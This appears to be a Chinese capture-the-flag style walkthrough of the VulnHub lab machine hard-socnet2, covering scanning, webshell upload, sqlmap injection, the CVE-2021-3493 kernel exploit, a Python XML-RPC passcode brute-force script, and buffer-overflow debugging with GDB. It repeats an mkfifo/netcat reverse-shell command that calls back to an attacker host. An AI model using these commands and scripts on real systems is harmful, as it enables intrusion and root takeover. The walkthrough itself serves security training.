VulnHub靶机 | hard-socnet2 | 高难度
2022-8-1 12:4:33 Author: 0x00实验室(查看原文) 阅读量:17 收藏

    "凌晨四点半,海棠花未眠"




     本靶机难度为高难度,涉及到了缓冲区溢出的源码审计,逆向分析,动态调试等漏洞技能点,

攻击方法有2种:

    CVE-2021-3493 

    另类提权方式。

项目地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

主机发现:

arp-scan -l

nmap -p- -sS 192.168.0.102

nmap -p22,80,8000 -sV -sS 192.168.0.102

目标渗透:

    访问800端口

显示的是不支持 GET 请求,那就去抓包重发尝试:OPTIONS,POST,PUT,DELETE,返回的都是 500 报错。没有思路了

访问80端口一个登录框。登录需要正确的电子邮箱,显然爆破很难,但是提供了注册,那么就注册.

方法一:文件上传

直接上传一句话木马文件,使用蚁剑进行连接。

方法二:SQL 注入

可能存在 sql 注入,尝试使用 sqlmap 工具爆破。(mysql 数据库)

sqlmap -r sql -p query 将返回包内容复制到 sql 文件中,测试是否存在 SQL 注入sqlmap -r sql -p query --dbs 查询数据库sqlmap -r sql -p query -D socialnetwork --tables 查询表名sqlmap -r sql -p query -D socialnetwork -T users --columns 查询列和字段

拿密码去登录:登陆上但是没有任何用。SQL 注入得到的密码可以保留。可能用得到。

权限提升:

GitHub 下载地址:  https://github.com/briskets/CVE-2021-3493上传 exploit.c 文件,但是蚁剑连接的控制台权限不够
gcc exploit -e expchmod +x exp./exp

第一种:nc 反弹 shell 连接,还是没有-e 参数,使用 nc 串联进行连接

另一种:mkfifo 反弹 shell 连接

这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f

提权成功:获取 root

python -c "import pty;pty.spawn('/bin/bash')" 交互效果更好(升级 shell)

另一种提权

cat /etc/passwdcd /homecd socnetls -l 发现 monitor.py 和网站内容提到的一致,具有监视服务器的作用

这里的文件有个 peda 它是动态调试,可能存在溢出漏洞,比如说:缓冲区溢出,堆溢出,是 GDB 的一种插件,作用有:增强 gdb 的显示:在调试过程中着色并显示反汇编代码,寄存器和内存信息。增强 GDB 调试能力

代码审计 monitor.py 文件

XMLRPC 方法

#my remote server management APIimport SimpleXMLRPCServer --引入的服务import subprocessimport random --随机数debugging_pass = random.randint(1000,9999) --随机生成 1000-9999def runcmd(cmd): results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = results.stdout.read() + results.stderr.read() return outputdef cpu(): return runcmd("cat /proc/cpuinfo")def mem(): return runcmd("free -m")def disk(): return runcmd("df -h")def net(): return runcmd("ip a")**def secure_cmd(cmd,passcode): -- 定义 secure_cmd 函数,调用了 cmd 和 passcode if passcode==debugging_pass: --注意这里,是否等于之前那个 1000-9999 随机数 return runcmd(cmd) else: return "Wrong passcode."****server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) 导致之前对目标靶机 web 访问请求方式的失败原因,只接受 xml_rpc 方式。**server.register_function(cpu)server.register_function(mem)server.register_function(disk)server.register_function(net)server.register_function(secure_cmd)server.serve_forever()

xmlrpc --- XMLRPC 服务端与客户端模块

介绍:https://docs.python.org/zh-cn/3/library/xmlrpc.html

XML-RPC 是一种远程过程调用方法,它使用通过 HTTP 传递的 XML 作为载体。有了它,客户端可以在远程服务器上调用带参数的方法(服务器以 URI 命名)并获取结构化的数据。xmlrpc 是一个集合了 XML-RPC 服务端与客户端实现模块的包。 这些模块是:

https://docs.python.org/zh-cn/3/library/xmlrpc.server.html#module-xmlrpc.server

编写客户端脚本

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: print(str(proxy.cpu()))

根据 monitor.py 文件中,secure_cmd 函数需要当 passcode==debugging_pass 等于随机数时,才会执行我们自定的命令,所有进行编码爆破。if passcode==debugging_pass:  return runcmd(cmd)

对 passcode 进行爆破

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: for i in range(1000,10000): r=str(proxy.secure_cmd('whoami',i)) if not "Wrong" in r : print(i) print(r) break;

反弹 shell 连接

import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: cmd="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f"  r=str(proxy.secure_cmd(cmd,5598))  print(r)

连接成功

缓存区溢出漏洞利用

    add_record 文件分析web 漏洞原理:都是通过输入数据等,从而使服务器程序在处理的时候出现异常情况。那么对 add_record 程序的漏洞发现利用。看看文件类型:ELF 文件格式可以理解成类似 windows 下 PE 的文件格式

执行此文件可以临时成 root 权限,当此文件存在漏洞时,就可以利用获取 root 权限

PEDA 用法总结

一个强大的 GDB 插件

PEDA 是为 GDB 设计的一个强大的插件,全称是 Python Exploit Development Assistance for GDB。它提供了很多人性化的功能,比如高亮显示反汇编代码、寄存器、内存信息,提高了 debug 的效率。同时,PEDA 还为 GDB 添加了一些实用新的命令,比如 checksec 可以查看程序开启了哪些安全机制等等,后续会介绍。https://www.csdndocs.com/article/9043624#:~:text=PEDA%E6%98%AF%E4%B8%BAGDB%E8%AE%BE%E8%AE%A1%E7%9A%84%E4%B8%80%E4%B8%AA%E5%BC%BA%E5%A4%A7%E7%9A%84%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%85%A8%E7%A7%B0%E6%98%AFPython%20Exploit%20Development,Assistance%20for%20GDB%E3%80%82

gdb 命令

gdb -q -q 安静的模式gdb 是程序的动态调试工具,可以跟踪和监视在这个程序运行过程中所有的寄存器,堆栈,内存的使用情况每一次的函数调用,内存数据的变化,都会详细的跟踪和判断,根据跟踪就会知道哪一次数据提交造成内存数据的溢出gdb -q ./add_record peda 是基于 gdb 关于 python 的脚本,输入 r 运行

**这里的测试方法:**主要是对每一项输入大量的字母,AAAAAAAA,监视内存的变化。

测试思路:大量数据测试缓冲区溢出的漏洞

就这样尝试,发现在备注的地方出现了溢出问题。之后的思路:找到出现溢出的位置,

在该位置处输入自己的 payload,反弹 shell,获得权限。

pattern create 100AAA%AAsAABAA$AAnAACAAAA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL找到了之后看着很麻烦,使用 gdb 的功能pattern search #看到了是 62 以后的溢出

根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。[email protected](被调用的一个系统函数)是猜测是打开文本文件的意思put,其作用是输出,配合 Printf 内建函数进行打印输出。[email protected] 应该是打开文件把东西保存进去printf@plt 把文件写入那就使用断点功能判断一下功能都是什么**断点调试:选中前面的内存地址,赋值break * 内存地址runs 单步向前只进行对一个 cpu 的指令**然后 del 1 删除这个断点信息。再重复尝试

    执行 info func:查看程序的内建函数,存在 system 和 setuid,vuln,backdoor执行 disas vuln:具体查看函数,发现了 strcpy 函数,这里可能存在漏洞。直接搜索。最后,利用 payload 来触发漏洞,返回 root 权限

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f

成功获取 root 权限。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247488651&idx=1&sn=b7f5f75e4acc63163c4add639731c350&chksm=cfd86b74f8afe2623177cdca90bd78b694167503af750ec84e2e45fc0a1cf84b6e45d562668a#rd
如有侵权请联系:admin#unsafe.sh